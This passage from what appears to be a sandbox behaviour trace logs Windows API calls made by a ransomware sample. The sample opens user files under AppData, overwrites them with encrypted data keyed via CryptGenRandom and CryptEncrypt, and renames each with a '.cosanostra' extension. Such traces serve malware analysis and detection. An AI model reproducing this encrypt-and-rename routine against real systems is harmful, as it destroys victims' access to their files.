liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.060] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df45c*=0x2800, lpOverlapped=0x0) returned 1 [0104.060] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.060] WriteFile (in: hFile=0x160, lpBuffer=0x28df49c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x28df49c*, lpNumberOfBytesWritten=0x28df45c*=0x4, lpOverlapped=0x0) returned 1 [0104.061] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df45c*=0x30, lpOverlapped=0x0) returned 1 [0104.061] CloseHandle (hObject=0x160) returned 1 [0104.176] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.cosanostra") returned 97 [0104.176] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.cosanostra")) returned 1 [0104.177] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df498 | out: pbBuffer=0x28df498) returned 1 [0104.177] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df490*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df490*=0x30) returned 1 [0104.177] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.177] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned 83 [0104.177] StrStrW (lpFirst="edb00001.log", lpSrch=".txt") returned 0x0 [0104.241] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.241] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df454, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df454*=0x2800, lpOverlapped=0x0) returned 1 [0104.241] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.242] WriteFile (in: hFile=0x160, lpBuffer=0x28df494*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df454, lpOverlapped=0x0 | out: lpBuffer=0x28df494*, lpNumberOfBytesWritten=0x28df454*=0x4, lpOverlapped=0x0) returned 1 [0104.243] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df454, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df454*=0x30, lpOverlapped=0x0) returned 1 [0104.244] CloseHandle (hObject=0x160) returned 1 [0104.244] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.cosanostra") returned 94 [0104.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.cosanostra")) returned 1 [0104.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df490 | out: pbBuffer=0x28df490) returned 1 [0104.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df488*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df488*=0x30) returned 1 [0104.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.251] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat") returned 97 [0104.251] StrStrW (lpFirst="WindowsMail.pat", lpSrch=".txt") returned 0x0 [0104.386] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.386] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df44c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df44c*=0x2800, lpOverlapped=0x0) returned 1 [0104.386] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.386] WriteFile (in: hFile=0x160, lpBuffer=0x28df48c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df44c, lpOverlapped=0x0 | out: lpBuffer=0x28df48c*, lpNumberOfBytesWritten=0x28df44c*=0x4, lpOverlapped=0x0) returned 1 [0104.386] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df44c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df44c*=0x30, lpOverlapped=0x0) returned 1 [0104.386] CloseHandle (hObject=0x160) returned 1 [0104.387] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.cosanostra") returned 108 [0104.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.cosanostra")) returned 1 [0104.388] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df488 | out: pbBuffer=0x28df488) returned 1 [0104.388] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df480*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df480*=0x30) returned 1 [0104.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.388] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 135 [0104.388] StrStrW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.740] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffb0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.741] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df444*=0x4f3, lpOverlapped=0x0) returned 1 [0104.741] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.741] WriteFile (in: hFile=0x160, lpBuffer=0x28df484*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x28df484*, lpNumberOfBytesWritten=0x28df444*=0x4, lpOverlapped=0x0) returned 1 [0104.742] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df444*=0x30, lpOverlapped=0x0) returned 1 [0104.742] CloseHandle (hObject=0x160) returned 1 [0104.742] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra") returned 146 [0104.743] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0104.744] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df488 | out: pbBuffer=0x28df488) returned 1 [0104.744] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df480*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df480*=0x30) returned 1 [0104.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.841] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 129 [0104.841] StrStrW (lpFirst="09_Music_played_the_most.wpl", lpSrch=".txt") returned 0x0 [0104.873] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffbff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.873] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df444*=0x401, lpOverlapped=0x0) returned 1 [0104.873] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.874] WriteFile (in: hFile=0x180, lpBuffer=0x28df484*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x28df484*, lpNumberOfBytesWritten=0x28df444*=0x4, lpOverlapped=0x0) returned 1 [0104.874] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df444, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df444*=0x30, lpOverlapped=0x0) returned 1 [0104.874] CloseHandle (hObject=0x180) returned 1 [0104.874] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.cosanostra") returned 140 [0104.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.cosanostra")) returned 1 [0104.900] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df478 | out: pbBuffer=0x28df478) returned 1 [0104.900] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df470*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df470*=0x30) returned 1 [0104.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.901] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001") returned 152 [0104.901] StrStrW (lpFirst="MANIFEST-000001", lpSrch=".txt") returned 0x0 [0104.902] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.902] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df434*=0x29, lpOverlapped=0x0) returned 1 [0104.902] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.902] WriteFile (in: hFile=0x180, lpBuffer=0x28df474*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x28df474*, lpNumberOfBytesWritten=0x28df434*=0x4, lpOverlapped=0x0) returned 1 [0104.902] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df434*=0x30, lpOverlapped=0x0) returned 1 [0104.902] CloseHandle (hObject=0x180) returned 1 [0104.903] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.cosanostra") returned 163 [0104.903] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001.cosanostra")) returned 1 [0104.904] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df478 | out: pbBuffer=0x28df478) returned 1 [0104.904] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df470*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df470*=0x30) returned 1 [0104.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.905] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG") returned 140 [0104.905] StrStrW (lpFirst="LOG", lpSrch=".txt") returned 0x0 [0104.906] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.906] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xc3, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df434*=0xc3, lpOverlapped=0x0) returned 1 [0104.906] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.906] WriteFile (in: hFile=0x180, lpBuffer=0x28df474*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x28df474*, lpNumberOfBytesWritten=0x28df434*=0x4, lpOverlapped=0x0) returned 1 [0104.906] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df434, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df434*=0x30, lpOverlapped=0x0) returned 1 [0104.906] CloseHandle (hObject=0x180) returned 1 [0104.906] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.cosanostra") returned 151 [0104.906] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log.cosanostra")) returned 1 [0104.907] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df470 | out: pbBuffer=0x28df470) returned 1 [0104.907] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df468*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df468*=0x30) returned 1 [0104.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.908] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK") returned 141 [0104.908] StrStrW (lpFirst="LOCK", lpSrch=".txt") returned 0x0 [0104.908] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.908] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df42c*=0x0, lpOverlapped=0x0) returned 1 [0104.908] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.908] WriteFile (in: hFile=0x180, lpBuffer=0x28df46c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x28df46c*, lpNumberOfBytesWritten=0x28df42c*=0x4, lpOverlapped=0x0) returned 1 [0104.909] WriteFile (in: hFile=0x180, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df42c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df42c*=0x30, lpOverlapped=0x0) returned 1 [0104.909] CloseHandle (hObject=0x180) returned 1 [0104.909] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK.cosanostra") returned 152 [0104.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock.cosanostra")) returned 1 [0104.910] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df470 | out: pbBuffer=0x28df470) returned 1 [0104.910] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df468*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df468*=0x30) returned 1 [0104.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.910] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT") returned 144 [0104.910] StrStrW (lpFirst="CURRENT", lpSrch=".txt") returned 0x0 [0104.911] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.911] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x10, 